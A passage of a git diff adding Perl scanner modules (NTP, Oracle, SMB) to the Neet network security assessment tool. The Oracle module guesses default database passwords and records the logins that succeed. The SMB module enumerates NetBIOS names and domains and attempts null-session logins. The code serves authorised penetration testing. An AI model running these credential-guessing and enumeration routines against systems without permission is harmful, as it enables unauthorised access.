my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/NTP/NTP.gsm b/content/NTP/NTP.gsm new file mode 100644 index 0000000..a8a6470 --- /dev/null +++ b/content/NTP/NTP.gsm @@ -0,0 +1,276 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package NTP; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='udp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("ntp.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=10; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=0; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /opt/neet/resources/modules/$name, so for this + # module, $resourceDir would be /opt/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usually /opt/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + # <<< CODE GOES HERE >>> + # If the offset is more than 5400 seconds, warn about it. + my $offsetHighLevel = 5400; + + my $command=$MainScan->getPath("ntpdate") . " -q ${host}"; + my $outputfile="$outputDir/raw/NTP.txt"; + my $error=$MainScan->System("$command > $outputfile 2>&1"); + if (!$error){ + my @data=$MainScan->ReadFile($outputfile); + for my $line (@data){ + if ($line =~ / offset \d+\.\d+,/){ + my $textOffset = index($line," offset ") + 8; + my $offset = substr($line,$textOffset,(rindex($line,",") - $textOffset)); + if ($offset > $offsetHighLevel){ + my $message="NTP Server with time offset of $offset seconds"; + $MainScan->RecordIssue($target,"GSM-NTP-1",$message); + } + last; + } + } + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/Oracle/Oracle.gsm b/content/Oracle/Oracle.gsm new file mode 100644 index 0000000..6742de3 --- /dev/null +++ b/content/Oracle/Oracle.gsm @@ -0,0 +1,308 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package Oracle; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("oracle.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=30; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=3; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + my $OracleTimeout=$Config->GetVal("Speeds.${targetType}.oracle.timeout." . $MainScan->Speed); + + $MainScan->System($MainScan->getPath("tnsenum") . " -p $port $host > ${outputDir}/raw/tnsenum-${port}.txt"); + + # Write architecture to hostInfo.txt + for my $line ($MainScan->ReadFile("${outputDir}/raw/tnsenum-${port}.txt")){ + if ($line =~ /TNSLSNR for 32-bit Windows/){ + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","Architecture","32-bit"); + last; + } elsif ($line =~ /TNSLSNR for 64-bit Windows/){ + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","Architecture","64-bit"); + last; + } + } + + # Now do the Oracle Default password guessing with Moriarty - verbose, just for the record + my $error=$MainScan->TimedSystem($OracleTimeout,"${BasePrefix}/pkg/moriarty/opwg.sh -P $port -C -v -s $host > ${outputDir}/raw/opwg-${port}.txt 2>&1"); + my %data; + if (!$error){ + # Read the results and store them in a convenient format + my @oracle=$MainScan->ReadFile("${outputDir}/raw/opwg-${port}.txt"); + my $SID; my $accounts; my $compromised=0; + for my $line (@oracle){ + if ($line =~ /pwcheck on SID /){ + $accounts=0; # Accounts is number of guessed accounts PER SID + $SID = $line; $SID =~ s/[\s\S]+on SID (\w+)\n$/$1/; + } + if ($line =~ /Successfully logged in /){ + my $account = $line; $account =~ s/[\s\S]+with (\w+\/\w+)\n$/$1/; + my ($user,$pass)=split "/", $account; + $data{"$SID"}{'user'}{$accounts}=$user; + $data{"$SID"}{'pass'}{$accounts}=$pass; + $accounts++; + $data{"$SID"}{'accounts'}=$accounts; + $compromised=1; + my $message="Logged into Oracle database SID $SID with $user:$pass"; + $MainScan->StoreGuessedPassword($target,"vuln", "Oracle","${SID}|$user","$pass","GSM-Oracle-1",$message); + } + } + + ## List the SIDs with compromised accounts + #if ($compromised && open(ORA,">${outputDir}/oracleAccounts-${port}.txt")){ + # for my $sid (keys(%data)){ + # print ORA "*** SID: $sid ***\n"; + # my $accounts=$data{"$sid"}{'accounts'}; + # for (my $a=0; $a<$accounts; $a++){ + # my $user=$data{"$sid"}{'user'}{$a}; + # my $pass=$data{"$sid"}{'pass'}{$a}; + # print ORA "$user:$pass\n"; + # } + # } + # close ORA; + #} + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/SMB/SMB.gsm b/content/SMB/SMB.gsm new file mode 100644 index 0000000..26ca0b0 --- /dev/null +++ b/content/SMB/SMB.gsm @@ -0,0 +1,664 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package SMB; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}=''; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("smb.txt","netbios-ns.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=20; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=1; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=2; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + my %roles = ( + '00', 'Workstation Service', + '01', 'Messenger Service', '03', 'Messenger Service','06', 'RAS Server Service', + '1f', 'NetDDE Service','20', 'File Server Service','21', 'RAS Client Service','22', 'Microsoft Exchange Interchange(MSMail Connector)', + '23', 'Microsoft Exchange Store','24', 'Microsoft Exchange Directory','30', 'Modem Sharing Server Service','31', 'Modem Sharing Client Service', + '43', 'SMS Clients Remote Control','44', 'SMS Administrators Remote Control Tool','45', 'SMS Clients Remote Chat', '46', 'SMS Clients Remote Transfer', + '4c', 'DEC Pathworks TCPIP service on Windows NT', '42', 'McAfee AV', '52', 'DEC Pathworks TCPIP service on Windows NT', '87', 'Microsoft Exchange MTA', + '6a', 'Microsoft Exchange IMC', 'be', 'Network Monitor Agent', 'bf', 'Network Monitor Application', '1b', 'Domain Master Browser', '1d', 'Master Browser', + '2b', 'Lotus Notes Server Service', + ); + + my %groles = ( + '00', 'Domain Name', '01', 'Master Browser', '1e', 'Browser Service Elections', '1c', 'Domain Controller', '2f', 'Lotus Notes', '33', 'Lotus Notes' + ); + + my ($HostName,$Workgroup,$SID,@Roles,$Domain,$DomainController); + my ($hasNoLockout,$ridcycledOK)=(0,0); + + # ****************** + # NetBIOS Name Table + if (!$self->IsScanComplete("nmblookup","$host")){ + my $command=$MainScan->getPath("nmblookup") . " -A $host > $outputDir/raw/nmblookup.txt 2>$outputDir/raw/nbenumerrors.log"; + $MainScan->System("$command"); + my @Roles; + + if (-f "$outputDir/raw/nmblookup.txt" && (my @nmblookup=$MainScan->ReadFile("$outputDir/raw/nmblookup.txt"))){ + mkdir "$outputDir/netbios"; + for my $line (@nmblookup){ + chomp $line; + next if ($line !~ /\S/); + next if ($line =~ /^Looking up the status of|^No reply from/); + $line =~ s/^\s+//g; + if ($line =~ /<[\d|a-f]{2}>/){ + my $desc; + my $code=$line; $code =~ s/[\S\s]+<([\d|a-f]{2})>[\S\s]+/$1/; + my $hname=substr($line,0,index($line," ")); + + if ($line =~ //){ + $desc=$groles{$code}; + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Workgroup","$hname") if ($code eq "00"); + } else { + $desc=$roles{$code}; + if (($code eq "00") && ($hname !~ /~/)){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Hostname","$hname"); + $MainScan->SetStatValue($MainScan->ResultsDirectory . "/hostnames.txt","$host","$hname"); + $HostName=$hname; + } + } + $desc = "UNKNOWN" if (!defined($desc)); + push @Roles, "${hname} ${desc}"; + if ($desc eq "Domain Name"){ + $Domain=$hname; + # Write Domain to hostInfo.txt + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Domain","$Domain"); + # Pull list of machines in the domain + my $command=$MainScan->getPath("nmblookup") . " $host $Domain 2>>$outputDir/raw/nbenumerrors.log | grep -v query > $outputDir/netbios/machines-$Domain.txt "; + $MainScan->System("$command"); + $command=$MainScan->getPath("nmblookup") . " -M $host $Domain 2>>$outputDir/raw/nbenumerrors.log | grep '>' > $outputDir/netbios/masterBrowser-$Domain.txt"; + $MainScan->System("$command"); + } + if ($desc eq "Domain Controller"){ + $DomainController=1; + } + $MainScan->SetListItem("$outputDir/netbios/nmblookup.txt","$line $desc"); + } + } + + # Write roles to hostInfo.txt + if ($#Roles > -1){ + my $roles=join (",",@Roles); + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Roles","$roles"); + if ($Domain){ + $MainScan->SetListItem($MainScan->ResultsDirectory . "/domains.txt","$Domain"); + if ($DomainController){ + my $_name=$host; + $_name .= " $HostName" if ($HostName); + $MainScan->SetStatValue($MainScan->ResultsDirectory . "/domains.txt","$Domain","$_name"); + } + } + } + $self->SetScanComplete("nmblookup","$host"); + } + } + + # Identify the SMB Type + if (!$self->IsScanComplete("smbtype","$host")){ + my $command=$MainScan->getPath("smbclient") . " -L //${host} -U '' -N > $outputDir/raw/smbclient-list.txt 2>&1"; + $MainScan->System("$command"); + + if (-f "$outputDir/raw/smbclient-list.txt" && (my @smbfile=$MainScan->ReadFile("$outputDir/raw/smbclient-list.txt"))){ + my 